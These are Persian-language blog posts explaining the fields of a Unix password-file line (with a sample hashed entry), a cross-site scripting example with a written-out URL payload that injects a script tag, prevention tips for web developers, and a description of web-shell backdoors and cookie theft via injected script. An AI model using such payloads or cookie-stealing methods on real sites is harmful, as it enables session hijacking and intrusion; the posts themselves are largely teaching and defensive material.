shadow:$1$jdjhdsfl4$rwbxy1e/gr0shs6e:100:100:shadow nsh.User:/home/users/shadow/:bin/bash



نکته ای که باید بهش توجه کنین اینه که اجزای این عبارات با علامت (smile.gif کالن (Colon) ازهم جدا می شن!

خوب حالا یه کم توضیح در مورد این قسمت ها:
قسمت اول:این که کاملا واضحه!اینجا نام دارنده ی حساب (account) نوشته شده که در مثال بالا می تونه
Shadow باشه.
قسمت دوم:این حروف همون رمز ورود کاربر هست که به رمز و درهم شده!(encrypted/hashed)
(تو یه مقاله طریقه ی کرکشون رو می گم!)
قسمت سوم:شناسه ی کاربر یه همون user ID یا به اختصار UID هست.
قسمت چهارم: شناسه ی گروه!GID(Group ID)
قسمت پنجم: یه سری اطلاعات جنرال!
قسمت ششم: اینجا دیرکتوری مشخص شده که یوزر بعد از وارد شدن تو اون قرار می گیره!(Home Dir)
قسمت 7: یکی از پوسته های خط فرمان رو مثل sh شامل می شه!(LoginShell).

|+| نوشته شده توسط ساسان کریمی در سه شنبه پنجم تیر 1386  |
  CSS/XSS و روش پيشگيري :
مي دانيم كه CSS/XSS از ضعف صفحات پويا استفاده مي كند .
پس طبيعتا براي جلوگيري از اين حمله بايد صفحات پويا را ايمن كرد.
براي ايمن كردن يك صفحه پويا در برابر CSS/XSS بايد كد نويسي آنرا تغيير داد.

خب براي راحتر شدن كار از يك مثال استفاده مي كنيم
يك صفحه ي پويا با نام asib_pazir.php داريم كه آرگومان هاي a و b را مقداري دهي مي كند و به صفحه باز مي گرداند و صفحه نيز نتايج آنها را به صورت دستورات HTML به مرورگر باز مي گرداند ارگومان اول يك نام را دريافت مي كند و ارگومان دوم يك عدد را كه سايز فونت را تعيين مي كند مقدار دهي
مي كند و صفحه با اين 2 آرگومان صفحه ي HTML يي با كد زير را بر مي گيرداند
<html>
<head>
<title>in safhe asib pazir ast</title>
</head>
<body>
<p><font size="arguman dovom">arguman aval</font></p>
</body>
</html>

براي يك هكر دانستن سورس صفحه ي پويا مهم است ولي در اين مثال هكر فقط با ديدن نتيجه و دستكاري كردن ورودي ها حفره را كشف مي كند
خب اكنون هكر ارگومان يك را خالي مي گذارد و ارگومان دوم را زيركانه بصورت زير ست ميكند
asib_pazir.php?b=2">hi</font></p><script>yek code java</script><p><font size="5
يعني مقدار ارگومان دوم را 2">hi</font></p><script>yek code java</script><p><font size="5
ست مي كند تا با رفتن به URL بالا صفحه زير برگردد
<html>
<head>
<title>in safhe asib pazir ast</title>
</head>
<body>
<p><font size="2">hi</font></p><script>yek code java</script><p><font size="5"></font></p>
</body>
</html>
خب واضح است كه هركسي اين صفحه را باز كند كد جاوا را نيز ناخودآگاه اجرا م ي كند
براي جلوگيري از اينجور آسيب پذيزي ها روش هاي زير به برنامه نويسان وب و ادمين هاي محترم پيشنهاد مي شود.
1-هرگز يك ارگومان را بدون برسي رها نكنيد و حتما رشتهي ورودي را چندين بار فيلتر كنيد تا كد ناخواسته وارد و اجرا نشود.
2-سعي كنيد با پيكر بندي مناسب وب سورس صفحات پويا را از ديد عموم پنهان نگه داريد.
3-تا حد امكان از Engine هاي وب و پورتال هاي از پيش نوشته شده استفاده نكنيد.
4-دسترسي به پنل ادمين را فقط محدود به كوكي و حتي پسورد نكنيد سعي كنيد چندين مرحله براي دسترسي به پنل ادمين طراحي كنيد.(اين مورد در CSS/XSS Injection اهميت بيشتري دارد)
5-با وجود آنكه اين باگ ها فراوان و اكثرا كم خطر هستند آنها را دست كم نگيريد
6-هر چند وقت يك بار سايت خود را توسط يك تيم امنيتي ازمايش كنيد تا مشكلات سايت خود را قبل از آنكه دير شود رفع كنيد
7-سعي كنيد ارگومان هاي كمتري بگيريد و بيشتر از مقادير پيش فرض در خود سورس صفحه ي پويا استفاده كنيد
8-هميشه اطلاعات فني خود را بروز نگه داريد

|+| نوشته شده توسط ساسان کریمی در سه شنبه پنجم تیر 1386  |
  CSS Injection و طريقه نفوز :
 CSS Injection با عث اجرای اسکریپت در کامپیوتر قربانی می شود .
بايد برسي كنيم اسكريپت ما كجا اجرا مي شه !
خب ما 2 حالت داريم

اسكريپت در سرور اجرا بشه :
مانند صفحات كامنتي كه كامنت رو يك فايل خاص بدون تغيير ذخيره مي كنند
كه از اين طريق يك بكدور تحت وب ايجاد مي كنيم يعني يك صفحه ي پويا كه به ما اجازه دسترسي ادمين رو در فضاي وب مي ده براي مثال shell.php

اسكريپت در كلاينت اجرا بشه :
مانند صفحات انجمني كه كد هاي HTML رو فيلتر نمي كنند
كه از اين طريق يك اسكريپت تزريق مي شود تا بصورت مخفي يك صفحه ديگر حاوي كدهاي مخرب هكر اجرا شود
مثلا :
روش کوکی مانچینگ
ابتدا كد مورد نظر در مرورگر كلاينت بازديد كننده از سايت آسيب پذير اجرا مي شود و محتويات كوكي بازديد كننده ( كه حتي ممكن است ادمين سايت باشد) براي هكر فرستاده مي شود

دقت كنيد :

اطلاعاتي گفته شد براي ادمين ها بسيار ضروري است زيرا مشاهده مي شود اكثر سايت هايي كه بنوعي از فيد بك ها و كامنت ها استفاده ميكنند به اين باگ يعني CSS Injection آسيب پذير هستند.

|+| نوشته شده توسط ساسان کریمی در سه شنبه پنجم تیر 1386  |
 
 
بالا